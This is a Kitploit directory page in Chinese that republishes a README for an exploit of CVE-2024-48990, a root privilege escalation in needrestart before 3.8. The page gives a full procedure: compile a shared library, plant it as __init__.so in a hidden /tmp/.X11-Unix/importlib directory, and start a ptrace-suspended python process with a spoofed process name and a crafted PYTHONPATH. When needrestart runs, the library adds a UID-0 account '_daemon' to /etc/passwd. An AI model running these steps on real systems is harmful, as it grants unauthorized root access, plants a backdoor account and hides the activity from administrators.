Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-48990 — CVE-2024-48990 的漏洞利用(needrestart < 3.8 中的本地权限提升) | Kitploit
工具/GitHubGitHub/ns989/cve-2024-48990
权限提升漏洞分析漏洞利用渗透测试红队
GitHubns989/cve-2024-48990

CVE-2024-48990

CVE-2024-48990 的漏洞利用(needrestart < 3.8 中的本地权限提升)

查看仓库
51年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-48990

针对 CVE-2024-48990 的漏洞利用(needrestart < 3.8 中的本地权限提升)

背景

阅读 https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart。Qualys 在解释这个问题上做得非常出色。

TLDR;

在 needrestart 版本低于 3.8 的系统上,本地用户可以在无需任何用户交互的情况下执行任意代码并将权限提升至 root。

Screenshot from 2024-11-21 20-07-48

漏洞利用

当前这个漏洞利用会使用 sed 命令编辑 /etc/passwd 文件,向系统添加一个名为 "_daemon" 的新用户,其 UID/GID 为 0(root)。密码与用户名相同。甚至不确定这能否称为漏洞利用,因为它只是一个运行单条命令的共享库。

要自行编译该漏洞利用,请运行以下命令:

gcc exploit.c -o exploit.so -shared -fPIC -s

1. 创建一个目录来存放漏洞利用文件。你创建的目录需要有一个名为 "importlib" 的子目录

mkdir -p /tmp/.X11-Unix/importlib

2. 启动一个将触发漏洞利用的进程

你可以运行任何长时间运行的 python 脚本。但为了在进程列表中看起来不那么可疑,你可以使用下面这行命令来启动一个 python 解释器,它一启动就会被挂起(因此实际上不会执行任何操作)。

  • PYTHON - Python 解释器的路径

  • ARGV - 将出现在进程列表中的字符串

  • PYPATH - 你创建的目录路径(不包含 importlib 目录)

对于 ARGV,请确保:

  • ARGV 中的第一个参数必须是 python 解释器的路径

  • 第二个参数(“脚本”)必须是系统上实际存在的文件(needrestart 会检查这一点)。不需要是真正的 python 脚本。

  • 第二个参数不能与已经在运行的进程相同(needrestart 会使用它已经见过的“缓存”进程)。

除此之外,你可以随意调整 ARGV。也许可以让它看起来像一个正常的系统进程?

PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'

3. 将漏洞利用共享对象移动到正确位置

它需要位于 importlib 目录中,并命名为 "init.so"

mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so

4. 等待 needrestart 执行它的操作

下次 needrestart 运行时(即 apt 更新或 unattended upgrades 会启动它),它将使用我们进程的 PYTHONPATH 变量运行 python,并加载 init.so 文件,该文件将运行我们的命令。你将可以使用凭据 _damon:_daemon 登录。

可能导致漏洞利用失效的因素

needrestart 并不完全是傻瓜,它在扫描进程时、并在进入易受攻击的代码部分之前,会检查一些事情

  • 该进程是否是正在运行的 python 脚本?如果不是,它会跳过它(python -c 进程会被跳过)
  • 该进程是否之前已经被查看过?不能复制另一个进程(例如 unattended-upgrade-shutdown 或 networkd-dispatcher),否则它会被跳过。
  • 如果 /etc/needrestart/needrestart.conf 中的 "$nrconf{interpscan}" 被设置为 "0",那你就没戏了。
下载工具